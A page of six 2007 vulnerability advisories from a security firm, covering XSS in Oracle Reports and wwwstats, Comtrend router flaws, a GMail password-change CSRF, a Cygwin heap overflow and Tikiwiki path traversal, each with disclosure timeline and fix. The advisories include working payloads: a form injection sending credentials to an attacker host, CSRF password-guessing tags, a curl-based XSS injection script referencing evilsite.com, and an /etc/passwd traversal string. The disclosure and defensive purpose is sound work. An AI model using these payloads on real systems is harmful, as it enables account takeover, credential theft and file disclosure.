Advisories 2007

2007-001: Oracle Reports Web Cartridge (RWCGI60) vulnerable to XSS
2007-002: Multiple vulnerabilities in WiFi router COMTREND CT-536/HG-536+
2007-003: CSRF vulnerability in GMail service
2007-004: wwwstats is vulnerable to Persistent XSS
2007-005: Cygwin buffer overflow due incorrect filename length check
2007-006: Tikiwiki CMS is vulnerable to path traversal attack

2007-001: Oracle Reports Web Cartridge (RWCGI60) vulnerable to XSS

Original release date:January 17, 2007
Last revised:January 17, 2007
Discovered by:Vicente Aguilera Díaz
Severity: 3/5

BACKGROUND

The Reports Web CGI or Web Cartridge is required for the Reports Server when using the Oracle Application Server (OAS) to process report requests from Web clients.

DESCRIPTION

Improper validation in "genuser" parameter allows to inject arbitrary code script/HTML that will be executed in the client browser.

This is specially serious in authentication forms where a malicious user can obtain the credentials of authentication of other users.

PROOF OF CONCEPT

URL original:

http://<oracle-server>/dev60cgi/rwcgi60?showmap&server=<oracle-reports-server>

This request return a page with an authentication form (with User Name, Password, and Database fields).

With a POST method (the rwcgi60 accept both methods: GET and POST), the user send:

username=&password=&database=&authtype=D&genuser=&server=<oracle-reports-server>&nextpage=<next-page>

A malicious user can modify the value of the "genuser" parameter and inject arbitrary script/HTML code:

-- Example 1 ---
http://<oracle-server>/dev60cgi/rwcgi60?showmap&server=<oracle-reports-server>&genuser=User Name<script>alert('Vulnerable to XSS attack!');</script>

--- Example 2 ---
http://<oracle-server>/dev60cgi/rwcgi60?showmap&server=<oracle-reports-server>&genuser=</form><form name='AttackerForm' action='http://attacker-machine.com/credentials'>User Name

BUSINESS IMPACT

An attacker can spoof the session of other authenticated users, obtains his authentication credentials, or deface the authentication form page.

SYSTEMS AFFECTED

Oracle9i Application Server Release 2, version 9.0.2.3

SOLUTION

The January 2007 CPU (Critical Patch Update) contain fixes for this vulnerability.

REFERENCES

http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpujan2007.html

CREDITS

This vulnerability has been discovered and reported by Vicente Aguilera Díaz (vaguilera (at) isecauditors (dot) com).

REVISION HISTORY

January 17, 2007: Initial release.
February 02, 2007: Vendor response actualization.

DISCLOSURE TIMELINE

April 23, 2006: Vulnerability acquired by Internet Security Auditors (www.isecauditors.com).
April 24, 2006: Initial vendor notification sent.
April 29, 2006: Initial response of the vendor.
January 16, 2007: The vendor fixed the vulnerability in the CPU.

LEGAL NOTICES

The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Internet Security Auditors, S.L. accepts no responsibility for any damage caused by the use or misuse of this information.

Volver al inicio

2007-002: Multiple vulnerabilities in WiFi router COMTREND CT-536/HG-536+

Original release date: 31st January, 2007
Last revised: 22th December, 2008
Discovered by: Daniel Fernandez Bleda
Severity: 5/5

BACKGROUND

The CT-536 is an 802.11g (54Mbps) wireless and wired Local Area Network (WLAN) ADSL router. Four 10/100 Base-T Ethernet and single USB ports provide wired LAN connectivity with an integrated 802.11g WiFi WLAN Access Point (AP) for wireless connectivity. The CT-536 ADSL router provides state of the art security features such as WPA data encryption; Firewall, VPN pass through.

DESCRIPTION

Improper validation of micro_httpd server permits multiple attacks though this stateless server. Also, access control is defficient and do not control access at all. Credentials are send in clear text so "user" could get them easily.

Some fields and data are not filtered so XSS attacks and bofs can DoS the httpd config server. Some cases the result also applies not only to http and the router needs reboot, loosing the configuration and reseting to default values. This means default passwords, open wireless network, etc.

PROOF OF CONCEPT

1. User "user" (least privileged user, read only and limited access configuration reding) can ask a not allowed resource and the server will return the page asked. Included the password change resource:
http://192.168.0.1/password.html

2. The router sends the 3 users passwords in clear inside the html to make a fast check during the password change.

3. Some points in the configuration description options are vulenrables to Cross Site SCripting attacks due improper validatation:

http://192.168.0.1/scvrtsrv.cmd?action=add&srvName=%3Cscript%3Ealert(%22XSS%22)%3C/script%3E&srvAddr=192.168.1.1&proto=1,&eStart=1,&eEnd=1,&iStart=1,&iEnd=1

4. Some resources (i.e. NAT table are vulnerable to Buffer overflows attacks) through the description fields that seems to kill the micro_httpd server although the router continues routing. Also similar behaviour is seen when asking for URLs that add %13 and %10 chars, without matching micro_httpd checks "..", "../", "/../".

5. User "user" accesses with "admin" privileges when connecting through TELNET service.

6. User "support" seems to not exist at all.

7. SSH service cannot substitute TELNET or HTTP due it seems not exists at all in the router!

BUSINESS IMPACT

DoS of the Web Configuration interface although the router continues routing.
DoS of router, causing a set to reset configuration, meaning the start up of Wireless interface (activated by default) without any type of protection and having the possibility to access the router or the network.
Reset of router configuration.
Access with "admin" (privileged) permissions to user "user".

SYSTEMS AFFECTED

Firmware until version A101-302JAZ-C01_R05 (current)

SOLUTION

Change the router.

REFERENCES

http://www.comtrend.com
http://www.acme.com/software/micro_httpd
http://www.jazztel.com

CREDITS

This vulnerability has been discovered and reported by Daniel Fernandez Bleda (dfernandez (at) isecauditors (dot) com).

REVISION HISTORY

January 30, 2007: Initial release
April 18, 2007: First contact with the vendor. Minor corrections.
November 09, 2007: Some corrections applied.

DISCLOSURE TIMELINE

January 30, 2007: Vulnerability acquired by Internet Security Auditors
April 18, 2007: Initial vendor notification sent. No response.
May 01, 2007: Second vendor notification. Response: will be studied.
May 22, 2007: Third vendor contact. Reported to their vendor for analysis.
August 07, 2007: Fourth Vendor contact. Problem seems to be not much easy to correct. R/D Dept are studying the solution.
November 09, 2007: Fifth Vendor contact. No response.
November 19, 2007: Sixth Vendor contact. No response.
December 07, 2007: Seventh Vendor contact. Chipset vendor is working.
November 11, 2008: Last Vendor contact. No response
December 22, 2008: Published.

LEGAL NOTICES

The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Internet Security Auditors, S.L. accepts no responsibility for any damage caused by the use or misuse of this information.

Volver al inicio

2007-003: CSRF vulnerability in GMail service

Original release date: August 1st, 2007
Last revised: January 5th, 2009
Discovered by: Vicente Aguilera Diaz
Severity: 3/5

BACKGROUND

Gmail is Google's free webmail service. It comes with built-in Google search technology and over 2,600 megabytes of storage (and growing every day). You can keep all your important messages, files and pictures forever, use search to quickly and easily find anything you're looking for, and make sense of it all with a new way of viewing messages as part of conversations.

DESCRIPTION

Cross-Site Request Forgery, also known as one click attack or session riding and abbreviated as CSRF (Sea-Surf) or XSRF, is a kind of malicious exploit of websites. Although this type of attack has similarities to cross-site scripting (XSS), cross-site scripting requires the attacker to inject unauthorized code into a website, while cross-site request forgery merely transmits unauthorized commands from a user the website trusts.

GMail is vulnerable to CSRF attacks in the "Change Password" functionality. The only token for authenticate the user is a session cookie, and this cookie is sent automatically by the browser in every request.

An attacker can create a page that includes requests to the "Change password" functionality of GMail and modify the passwords of the users who, being authenticated, visit the page of the attacker.

The attack is facilitated since the "Change Password" request can be realized across the HTTP GET method instead of the POST method that is realized habitually across the "Change Password" form.

PROOF OF CONCEPT

1. An attacker create a web page "csrf-attack.html" that realize many HTTP GET requests to the "Change Password" functionality.

For example, a password cracking of 3 attempts (see "OldPasswd" parameter):
...

<img src="https://www.google.com/accounts/UpdatePasswd?service=mail&hl=en&group1=OldPasswd&OldPasswd=PASSWORD1 &Passwd=abc123&PasswdAgain=abc123&p=&save=Save&quot;>

<img src="https://www.google.com/accounts/UpdatePasswd?service=mail&hl=en&group1=OldPasswd&OldPasswd=PASSWORD2 &Passwd=abc123&PasswdAgain=abc123&p=&save=Save">

<img src="https://www.google.com/accounts/UpdatePasswd?service=mail&hl=en&group1=OldPasswd&OldPasswd=PASSWORD3 &Passwd=abc123&PasswdAgain=abc123&p=&save=Save">

...

or with hidden frames:
...

<iframe src="https://www.google.com/accounts/UpdatePasswd?service=mail&hl=en&group1=OldPasswd&OldPasswd=PASSWORD1 &Passwd=abc123&PasswdAgain=abc123&p=&save=Save">

<iframe src="https://www.google.com/accounts/UpdatePasswd?service=mail&hl=en&group1=OldPasswd&OldPasswd=PASSWORD1 &Passwd=abc123&PasswdAgain=abc123&p=&save=Save">

<iframe src="https://www.google.com/accounts/UpdatePasswd?service=mail&hl=en&group1=OldPasswd&OldPasswd=PASSWORD1 &Passwd=abc123&PasswdAgain=abc123&p=&save=Save">

...

The attacker can use deliberately a weak new password (see "Passwd" and "PasswdAgain" parameters), this way he can know if the analysed password is correct without need to modify the password of the victim user.

Using weak passwords the "Change Password" response is:
- " The password you gave is incorrect. ", if the analysed password is not correct.
- " We're sorry, but you've selected an insecure password. In order to protect the security of your account, please click "Password Strength" to get tips on choosing to safer password. ", if the analysed password is correct and the victim password is not modified.

If the attacker want to modify the password of the victim user, the waited response message is: " Your new password has been saved - OK ".

In any case, the attacker evades the restrictions imposed by the captcha of the authentication form.

2. A user authenticated in GMail visit the "csrf-attack.html" page controlled by the attacker.

For example, the attacker sends a mail to the victim (a GMail account) and provokes that the victim visits his page (social engineering). So, the attacker insures himself that the victim is authenticated.

3. The password cracking is executed transparently to the victim.

BUSINESS IMPACT

- Selective DoS on users of the GMail service (changing user password).
- Possible access to the mail of other GMail users.

SYSTEMS AFFECTED

Gmail service.

SOLUTION

No solution provided by vendor.

REFERENCES

http://www.gmail.com

CREDITS

This vulnerability has been discovered and reported by Vicente Aguilera Diaz (vaguilera (at) isecauditors (dot) com).

REVISION HISTORY

July 31, 2007: Initial release
August 1, 2007: Fewer corrections.
December 30, 2008: Last details.

DISCLOSURE TIMELINE

July 30, 2007: Vulnerability acquired by Internet Security Auditors.
August 1, 2007: Initial notification sent to the Google security team.
August 1, 2007: Google security team request additional information about and start review the vulnerability.
August 13, 2007: Request information about the status.
August 15, 2007: Google security team responds that they are still working on this.
September 19, 2007: Request for the status. No response.
November 26, 2007: Request for the status. No response.
January 2, 2008: Request for the status. No response.
January 4, 2008: Request for the status. No response.
January 11, 2008: Request for the status. No response.
January 15, 2008: Request for the status. Automated response.
January 18, 2008: Google security team informs that don't expect behaviour to change in the short term giving the justification. We deconstruct those arguments as insufficient. No more responses.
December 30, 2008: Request for the status. No response.
January 5, 2009: Publication.

LEGAL NOTICES

The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Internet Security Auditors accepts no responsibility for any damage caused by the use or misuse of this information.

2007-004: wwwstats is vulnerable to Persistent XSS

Original release date:November 7th, 2007
Last revised: December 7th, 2007
Discovered by:Jesus Olmos Gonzalez
Severity: 4/5

BACKGROUND

wwwstats is a very widely used Web traffic analyser, that registers in a database the user agents, referers, downloads, etc ..

DESCRIPTION

Is possible to inject HTML and JavaScript to the database by calling directly the clickstats.php code. This would mean web defacing, steal admin sessions, web redirecting and WSS Worms.

To bypass the first 'if', is necessary to fill the HTTP Referer field with something, and inject the link to the database by the link get parameter.

An attacker can inject using the link parameter or the useragent field a script which will steal admin's cookies, or make a deface, or anything else...

If magic quotes are configured at php.ini, there is no problem, in javascript \'test\' is interpreted as 'test'.

PROOF OF CONCEPT

Controlling the iterations number, is possible to do the injection in the ranking position you want:
 

while [ 1 ]; do
curl 'http://web.com/wwwstats/clickstats.php?link=<script>XXXX</scrip>' -e 'xxx'; done

 

Also is possible to attack by -A 'attack'

A payload can be:

<script scr='http://evilsite.com/XSSWorm.js'></script>

------------Exploit------------
#!/bin/sh
#jolmos (at) isecauditors (dot) com

if [ $# -ne 4 ]
then
echo "Usage: $0 <target>
<html or javascript to inject in downloads> <ranking position>"
echo "Example: $0 http://www.victym.com/wwwstats
<script>window.location="http://www.evilhost.com"</script> 100"
exit
fi

echo 'Attacking, wait a moment'
for i in `seq 1 $3`; do curl "$1/clickstats.php?link=$2" -e 'attack'; done
--------------------------------

BUSINESS IMPACT

A deface or redirection can damage the corporation image.

SYSTEMS AFFECTED

wwwstats v3.21 and prior (all)

SOLUTION

Sanitize the inputs. Update to version 3.22.

REFERENCES

http://www.timeprog.com/wwwstats/

CREDITS

This vulnerability has been discovered and reported
by Jesus Olmos Gonzalez (jolmos (at) isecauditors (dot) com).

REVISION HISTORY

November 07, 2007: Initial release
November 09, 2007: Added POC

DISCLOSURE TIMELINE

November 07, 2007: Vulnerability acquired by Jesus Olmos Gonzalez
Internet Security Auditors (www.isecauditors.com)
November 08, 2007: Developer contacted
November 08, 2007: Response and correction started.
November 26, 2007: Update Available.
December 07, 2007: Advisory published.

Volver al inicio

2007-005: Cygwin buffer overflow due incorrect filename length check

Original release date:May 23rd, 2007
Last revised:November 24th, 2007
Discovered by:Jesus Olmos Gonzalez
Severity: 5/5

BACKGROUND

Cygwin is a Linux-like environment for Windows wich consists in a dll binary (cygwin1.dll) wichs emulates linux api, and a set of tools which provide Linux look and feel.

Sometimes, the administrators relay in cygwin security in order to open a daemon to the net (sshd, telnetd, ftpd ...) over cygwin.

DESCRIPTION

Traditionally, linux filesystem allow 255 bytes long, nevertheless cygwin allow 239 bytes and there is a check that prevents filenames equal or major than 240.

In spite of the check, there is a 232 bytes long dynamic memory buffer where is stored the filename, so that is possible make a evil filename with 233-239 bytes long that bypasses the check and overflows the heap maximum 7 bytes.

So you had to penetrate in machine and put the evil-file and then 7 bytes of the private heap and ebx and edi registers are for the exploit.

The following file has to be uploaded, if we use touch to create it, cygwin will be bofed.
 

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCDDDDEEEEFFFFGG
GGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYY

...


 
$ cat scp.exe.stackdump
Exception: STATUS_ACCESS_VIOLATION at eip=6109008D
eax=6167343A ebx=5959595A ecx=6167343C edx=04A96F89 esi=6E6C0055 edi=59595957
ebp=6E6C006C esp=0022E51B program=C:\sshd\bin\scp.exe
cs=001B ds=0023 es=0023 fs=0038 gs=0000 ss=0023
$ gdb /usr/bin/touch.exe
GNU gdb 2003-09-20-cvs (cygwin-special)
...

(gdb) r AAAA ...
Program received signal SIGSEGV, Segmentation fault.
0x61091eea in getppid () from /usr/bin/cygwin1.dll
(gdb) x/i 0x61091eea
0x61091eea <getppid+2954>: mov 0xc(%ebp),%eax
(gdb) i r ebp eax
ebp 0x22006b 0x22006b
eax 0xffffffff -1

filename: [nops][shellcode][jmp][buff]
nops + shellcode = 210 bytes
jmp = 4 bytes
buff = 24 bytes

PROOF OF CONCEPT

Not public.

BUSINESS IMPACT

Systems could be compromissed exploiting this vulnerability.

SYSTEMS AFFECTED

All cygwin1.dll up to 1.5.7.
Is possible that versions from 1.5.7 to 1.5.19 are vulnerable too due bad use of name length constants in cygwin code.

SOLUTION

The patch is available at http://www.cygwin.com/snapshots
Latest version (1.5.24) don't have this problem.

REFERENCES

http://www.cygwin.com

CREDITS

This vulnerability has been discovered and reported
by Jesus Olmos Gonzalez (jolmos (at) isecauditors=dot=com)

REVISION HISTORY

May 23, 2006: Initial release
August 06, 2007: First Revision
November 23, 2007: Last Revision

DISCLOSURE TIMELINE

May 23, 2006: Vulnerability acquired by
Jesus Olmos Gonzalez (Internet Security Auditors)
November 08, 2007: First vendor notification and discussion in devel
list about its impact. Considered collaterally
corrected.
November 24, 2007: Published.

Volver al inicio

2007-006: Tikiwiki CMS is vulnerable to path traversal attack

Original release date:December 18th, 2007
Last revised: December 24th, 2007
Discovered by:Jesus Olmos Gonzalez
Severity: 5/5

BACKGROUND

Tikiwiki (Tiki) is a Free Software (LGPL) Content Management System solution that unifies many features like wikis, forums, blogs, articles, galleries, mapserver, link directory.

This software is massively used in the World Wide Web, and has been audited by the security community for years.

DESCRIPTION

It is possible to get the first 1000 bytes from an arbitrary file trough the tiki-listmovies.php script.

This script sets the movie parameter value into $movie. The last 4 bytes are erased and an .xml extension is appended. Then, the file is opened for reading with the call fopen($confFile,'r') and the first 1000 bytes are read from the file. Then the 1000 bytes are parsed and used as the values for MovieWidth and MovieHeight HTML tags. Finally the resulting HTML file is returned to the user by the webserver.

The vulnerable snippet of code is:
 

if(isset($_GET["movie"])) {
$movie = $_GET["movie"];
...

if ($movie) {
// Initialize movie size
$confFile = 'tikimovies/'.substr($movie,0,-4).".xml";
//trc('confFile', $confFile);
$fh = @fopen($confFile,'r');
$config = @fread($fh, 1000);
@fclose($fh);
if (isset($config) && $config <>'') {
$width = preg_replace("/^.*?<MovieWidth>(.*?)<\/MovieWidth>.*$/ms", "$1", $config);
$height = preg_replace("/^.*?<MovieHeight>(.*?)<\/MovieHeight>.*$/ms", "$1", $config);
$smarty->assign('movieWidth',$width);
$smarty->assign('movieHeight',$height);
}
}

 

The avoidable controls that permit exploiting the flaw are:

* First, 'tikimovies/' is prepended to the filename, so we could reference a relative filesystem object like '../../../../../../file_name'. This could also allow the attacker to get the database password at the config file, or obtain any other files outside the web directory, let's say '/etc/passwd'.
* Second, the four ending 4 bytes are removed from the $movie variables. So adding 4 trash ending bytes to our evil string this control also can be bypassed
* At the end, an .xml extension is added at the end of the variable. We finally avoid this adding the null byte (%00) in our value.

The resulting evil string to access the file looks like this:

../../../../../../etc/passwd%001234

PROOF OF CONCEPT

http://www.victym.com/tiki-listmovies.php?movie=../../../../../../etc/pa...

BUSINESS IMPACT

The confidentiality is directly broken, and getting config files the attacker probably access to the system to break integrity.

SYSTEMS AFFECTED

All versions of tikiwiki are affected up to 1.9.9.

SOLUTION

Update to version 1.9.9 or patch.

REFERENCES

http://info.tikiwiki.org
http://jolmos.blogspot.com

CREDITS

This vulnerability has been discovered and reported by Jesus Olmos Gonzalez (jolmos (at) isecauditors (dot) com).

REVISION HISTORY

December 18, 2007: Initial release.
December 24, 2007: Published. Happy 2008!

DISCLOSURE TIMELINE

December 18, 2007: Vulnerability acquired by Internet Security Auditors (www.isecauditors.com)
December 18, 2007: Development team is contacted. Patch coming.
December 22, 2007: New version of Tikiwiki CMS published.